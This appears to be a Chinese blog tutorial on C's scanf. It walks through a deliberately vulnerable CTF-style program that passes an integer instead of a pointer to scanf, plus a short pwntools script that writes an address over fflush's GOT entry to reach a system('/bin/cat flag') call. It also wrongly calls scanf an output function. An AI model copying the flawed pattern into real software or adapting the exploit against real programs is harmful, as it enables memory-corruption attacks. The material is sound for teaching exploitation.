scanf函數分析

概述

scanf()是C語言中的一個輸出函數。與printf函數一樣,都被聲明在頭文件stdio.h裏,因此在使用scanf函數時要加上#include <stdio.h>。(在有一些實現中,printf函數與scanf函數在使用時可以不使用預編譯命令#include <stdio.h>。)它是格式輸入函數,即按用戶指定的格式從鍵盤上把數據輸入到指定的變量之中。

定義

int scanf(const char * restrict format,...);

函數 scanf() 是從標準輸入流stdin (標準輸入設備,一般指向鍵盤)中讀內容的通用子程序,可以說明的格式讀入多個字符,並保存在對應地址的變量中。
函數的第一個參數是格式字符串,它指定了輸入的格式,並按照格式說明符解析輸入對應位置的信息並存儲於可變參數列表中對應的指針所指位置。每一個指針要求非空,並且與字符串中的格式符一一順次對應。

彙編分析

示例程序(正確寫法):

#include <stdio.h>
int  main(){
    int a;
    scanf("%d",&a);
    printf("%x\n",&a);
    printf("%d\n",a);
    return 0;
}

反彙編查看scanf
在這裏插入圖片描述從彙編代碼中可以看出來這裏是把a的地址壓入棧中。
漏洞程序(經典的錯誤寫法):

#include <stdio.h>
#include <stdlib.h>

int main(){
    int a  = 0x0804a010;
    scanf("%d",a);
    fflush(stdin);
    printf("Login OK!n");
    system("/bin/cat flag");
    return 0;
}

a的值0x0804a010是fflush的地址。反彙編查看scanf
在這裏插入圖片描述
這裏是把a的值壓入棧中。由於a的值沒有進行初始化,是一個隨機的值。也就是這個壓入堆棧的值是一個隨機的,由於很多地址是無法寫入的,因此很容易導致程序崩潰。

攻擊代碼

#-*- coding: UTF-8 -*- 
#!/usr/bin/python 
from pwn import *
p= process('./test')
system_addr = 0x0804857d
payload = p32(system_addr)
p.send(payload)
p.interactive()

運行結果如下

在這裏插入圖片描述flag的內容我們成功查看到了,也就是system("/bin/cat flag")被成功執行了。

公衆號

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章